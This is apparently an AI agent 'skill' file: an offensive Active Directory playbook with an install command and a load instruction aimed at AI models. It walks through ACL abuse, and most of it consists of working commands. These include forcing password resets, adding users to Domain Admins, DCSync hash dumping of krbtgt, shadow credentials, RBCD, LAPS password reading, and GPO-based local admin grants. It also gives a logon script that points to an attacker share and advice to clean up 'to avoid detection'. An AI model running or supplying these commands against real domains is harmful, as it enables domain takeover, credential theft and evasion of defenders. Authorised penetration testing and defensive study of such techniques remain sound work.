active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

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Install skill "active-directory-acl-abuse" with this command: npx skills add yaklang/hack-skills/yaklang-hack-skills-active-directory-acl-abuse

SKILL: AD ACL Abuse — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.

0. RELATED ROUTING

Before going deep, consider loading:

Advanced Reference

Also load BLOODHOUND_PATHS.md when you need:

  • Common BloodHound attack paths with Cypher queries
  • Custom Neo4j queries for finding complex chains
  • Data collection and ingestion tips

1. BLOODHOUND ENUMERATION

Data Collection

# SharpHound (from Windows, domain-joined)
SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip

# bloodhound-python (from Linux)
bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP

# Specific collection methods
SharpHound.exe -c DCOnly          # Fastest — only DC queries
SharpHound.exe -c Session         # Session data only (run periodically)
SharpHound.exe -c All,GPOLocalGroup  # Include GPO analysis

Key BloodHound Queries (Built-in)

  • "Find all Domain Admins"
  • "Shortest Paths to Domain Admins from Owned Principals"
  • "Find Principals with DCSync Rights"
  • "Shortest Paths to Unconstrained Delegation Systems"
  • "Find computers where Domain Users are Local Admin"

2. DANGEROUS ACE TYPES

ACEEffect on UsersEffect on GroupsEffect on Computers
GenericAllChange password, set SPN, modify attributesAdd membersRBCD, LAPS read, all attributes
GenericWriteSet SPN, modify attributes, shadow credsAdd membersRBCD, shadow credentials
WriteDACLGrant yourself any permissionSameSame
WriteOwnerTake ownership → then WriteDACLSameSame
ForceChangePasswordReset password without knowing oldN/AN/A
AddMemberN/AAdd self/others to groupN/A
AllExtendedRightsForce change password, read LAPSN/ARead LAPS, BitLocker keys
ReadLAPSPasswordN/AN/ARead local admin password
WriteSPNSet SPN → targeted kerberoastN/AN/A

3. ACE-SPECIFIC EXPLOITATION

GenericAll on User

# Option 1: Force change password
net user targetuser NewP@ss123 /domain

# Option 2: Targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast, then clear SPN

# Option 3: Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01

# Option 4: Set logon script
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}

GenericAll / GenericWrite on Computer

# RBCD attack
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC

# Shadow Credentials on computer
pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC

WriteDACL

# Grant DCSync rights to yourself
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync

# Impacket
dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC

WriteOwner

# Step 1: Take ownership
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv

# Step 2: Grant WriteDACL to yourself (as owner)
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All

# Step 3: Now exploit as GenericAll

ForceChangePassword

# Impacket
rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"

# PowerView
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)

# net rpc
net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01

AddMember to Group

# Add self to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv

# Impacket
net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01

4. DCSYNC ATTACK

Prerequisites

The principal needs both of these replication rights on the domain object:

  • DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

Execution

# Impacket — dump all hashes
secretsdump.py DOMAIN/user:password@DC01 -just-dc

# Specific account only
secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.com /user:krbtgt
lsadump::dcsync /domain:domain.com /all /csv

# Impacket with Kerberos auth
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass DC01.domain.com -just-dc

Who Has DCSync by Default?

  • Domain Admins
  • Enterprise Admins
  • Domain Controllers group
  • BUILTIN\Administrators (on domain object)

5. SHADOW CREDENTIALS

Attack Flow

Write msDS-KeyCredentialLink on target → generate certificate → authenticate via PKINIT.

# pyWhisker (Linux)
pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
# Output: DeviceID and PFX file

# Authenticate with certificate
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
export KRB5CCNAME=victim.ccache

# Extract NT hash from TGT (for pass-the-hash)
getnthash.py -key AS_REP_KEY domain.com/victim
# Whisker (Windows)
Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
# → Provides Rubeus command to get TGT
Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt

Cleanup: Remove the added key credential to avoid detection.


6. LAPS PASSWORD READING

# PowerView
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime

# AD Module
Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd

# LAPS v2 (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText

# CrackMapExec
crackmapexec ldap DC01 -u user -p pass --module laps

7. GPO ABUSE

Identify Writable GPOs

# PowerView — find GPOs where you have write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
    ($_.SecurityIdentifier -match 'YOUR_SID')
}

Exploit via SharpGPOAbuse

# Add local admin via GPO
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"

# Add scheduled task via GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"

# Add startup script
SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
# pyGPOAbuse (Linux)
pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01

8. ACL ATTACK DECISION TREE

Have domain user access — want to escalate via ACL
│
├── Run BloodHound → analyze shortest paths to DA
│   └── Upload data → "Shortest Paths to Domain Admins from Owned Principals"
│
├── Direct ACL on user object?
│   ├── GenericAll → force password change, shadow creds, or targeted kerberoast (§3)
│   ├── GenericWrite → shadow credentials or set SPN (§3/§5)
│   ├── ForceChangePassword → reset password directly (§3)
│   ├── WriteDACL → grant yourself GenericAll, then exploit (§3)
│   └── WriteOwner → take ownership → WriteDACL → GenericAll (§3)
│
├── ACL on group?
│   ├── AddMember / GenericAll → add self to privileged group (§3)
│   └── WriteDACL → grant AddMember, then add self
│
├── ACL on computer object?
│   ├── GenericAll/GenericWrite → RBCD attack (§3)
│   ├── AllExtendedRights → read LAPS password (§6)
│   └── GenericWrite → shadow credentials on machine (§5)
│
├── ACL on domain object?
│   ├── WriteDACL → grant DCSync rights to self (§4)
│   └── Replication rights already? → DCSync directly (§4)
│
├── ACL on GPO linked to privileged OU?
│   └── Write access → add admin / scheduled task via GPO (§7)
│
└── Complex multi-hop chain?
    └── Load BLOODHOUND_PATHS.md for Cypher queries and chain analysis

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